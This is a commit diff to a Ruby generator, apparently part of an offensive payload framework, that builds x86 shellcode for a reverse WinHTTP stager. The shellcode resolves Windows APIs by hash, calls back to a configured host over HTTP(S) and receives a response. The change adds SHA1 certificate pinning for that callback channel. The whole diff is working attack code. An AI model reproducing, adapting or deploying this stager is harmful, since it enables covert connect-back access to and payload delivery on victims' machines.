@@ -104,18 +104,29 @@ def asm_generate_wchar_array(str)
104
104
def asm_reverse_winhttp ( opts = { } )
105
105
106
106
107
+ verify_ssl = nil
108
+ encoded_cert_hash = nil
109
+
107
110
#
108
- # options should contain:
109
- # ssl: (true|false)
110
- # url: "/url_to_request"
111
- # host: [hostname]
112
- # port: [port]
113
- # exitfunk: [process|thread|seh|sleep]
111
+ # options can contain contain:
112
+ # ssl: (true|false)
113
+ # url: "/url_to_request"
114
+ # host: [hostname]
115
+ # port: [port]
116
+ # exitfunk: [process|thread|seh|sleep]
117
+ # verify_ssl: (true|false)
118
+ # verify_cert_hash: (40-byte SHA1 hash)
114
119
#
115
120
116
121
encoded_url = asm_generate_wchar_array ( opts [ :url ] )
117
122
encoded_host = asm_generate_wchar_array ( opts [ :host ] )
118
123
124
+ if opts [ :ssl ] && opts [ :verify_cert ] && opts [ :verify_cert_hash ]
125
+ verify_ssl = true
126
+ encoded_cert_hash = opts [ :verify_cert_hash ] . unpack ( "C*" ) . map { |c | "0x%.2x" % c } . join ( "," )
127
+ end
128
+
129
+
119
130
http_open_flags = 0
120
131
121
132
if opts [ :ssl ]
@@ -137,7 +148,20 @@ def asm_reverse_winhttp(opts={})
137
148
push esp ; Push a pointer to the "winhttp" string
138
149
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
139
150
call ebp ; LoadLibraryA( "winhttp" )
151
+ ^
140
152
153
+ if verify_ssl
154
+ asm << %Q^
155
+ load_crypt32:
156
+ push 0x00323374 ; Push the string 'crypt32',0
157
+ push 0x70797263 ; ...
158
+ push esp ; Push a pointer to the "crypt32" string
159
+ push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
160
+ call ebp ; LoadLibraryA( "wincrypt" )
161
+ ^
162
+ end
163
+
164
+ asm << %Q^
141
165
set_retry:
142
166
push.i8 6 ; retry 6 times
143
167
pop edi
@@ -215,7 +239,7 @@ def asm_reverse_winhttp(opts={})
215
239
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
216
240
call ebp
217
241
test eax,eax
218
- jnz receive_response ; if TRUE call WinHttpReceiveResponse API
242
+ jnz check_response ; if TRUE call WinHttpReceiveResponse API
219
243
220
244
try_it_again:
221
245
dec edi
@@ -237,10 +261,77 @@ def asm_reverse_winhttp(opts={})
237
261
^
238
262
end
239
263
264
+ # Jump target if the request was sent successfully
265
+ asm << %Q^
266
+ check_response:
267
+ ^
268
+
269
+ # Verify the SSL certificate hash
270
+ if verify_ssl
271
+
272
+ asm << %Q^
273
+ ssl_cert_get_context:
274
+ push.i8 4
275
+ mov ecx, esp ; Allocate &bufferLength
276
+ push.i8 0
277
+ mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
278
+
279
+ push ecx ; &bufferLength
280
+ push ebx ; &buffer
281
+ push.i8 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
282
+ push esi ; hHttpRequest
283
+ push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
284
+ call ebp
285
+ test eax, eax ;
286
+ jz failure ; Bail out if we couldn't get the certificate context
287
+
288
+ ; ebx
289
+ ssl_cert_allocate_hash_space:
290
+ push.i8 20 ;
291
+ mov ecx, esp ; Store a reference to the address of 20
292
+ sub esp,[ecx] ; Allocate 20 bytes for the hash output
293
+ mov edi, esp ; edi will point to our buffer
294
+
295
+ ssl_cert_get_server_hash:
296
+ push ecx ; &bufferLength
297
+ push edi ; &buffer (20-byte SHA1 hash)
298
+ push.i8 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
299
+ push [ebx] ; *pCert
300
+ push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
301
+ call ebp
302
+ test eax, eax ;
303
+ jz failure ; Bail out if we couldn't get the certificate context
304
+
305
+ ssl_cert_start_verify:
306
+ call ssl_cert_compare_hashes
307
+ db #{ encoded_cert_hash }
308
+
309
+ ssl_cert_compare_hashes:
310
+ pop ebx ; ebx points to our internal 20-byte certificate hash (overwites *pCert)
311
+ ; edi points to the server-provided certificate hash
312
+
313
+ push.i8 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
314
+ pop ecx ;
315
+ mov edx, ecx ; Keep a reference to 4 in edx
316
+
317
+ ssl_cert_verify_compare_loop:
318
+ mov eax, [ebx] ; Grab the next DWORD of the hash
319
+ cmp eax, [edi] ; Compare with the server hash
320
+ jnz failure ; Bail out if the DWORD doesn't match
321
+ add ebx, edx ; Increment internal hash pointer by 4
322
+ add edi, edx ; Increment server hash pointer by 4
323
+ loop ssl_cert_verify_compare_loop
324
+
325
+ ; Our certificate hash was valid, hurray!
326
+ ssl_cert_verify_cleanup:
327
+ xor ebx, ebx ; Reset ebx back to zero
328
+ ^
329
+ end
330
+
240
331
asm << %Q^
241
332
receive_response:
242
333
; The API WinHttpReceiveResponse needs to be called
243
- ; first to get a valid handler for WinHttpReadData
334
+ ; first to get a valid handle for WinHttpReadData
244
335
push ebx ; Reserved (NULL) [2]
245
336
push esi ; Request handler returned by WinHttpSendRequest [1]
246
337
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
0 commit comments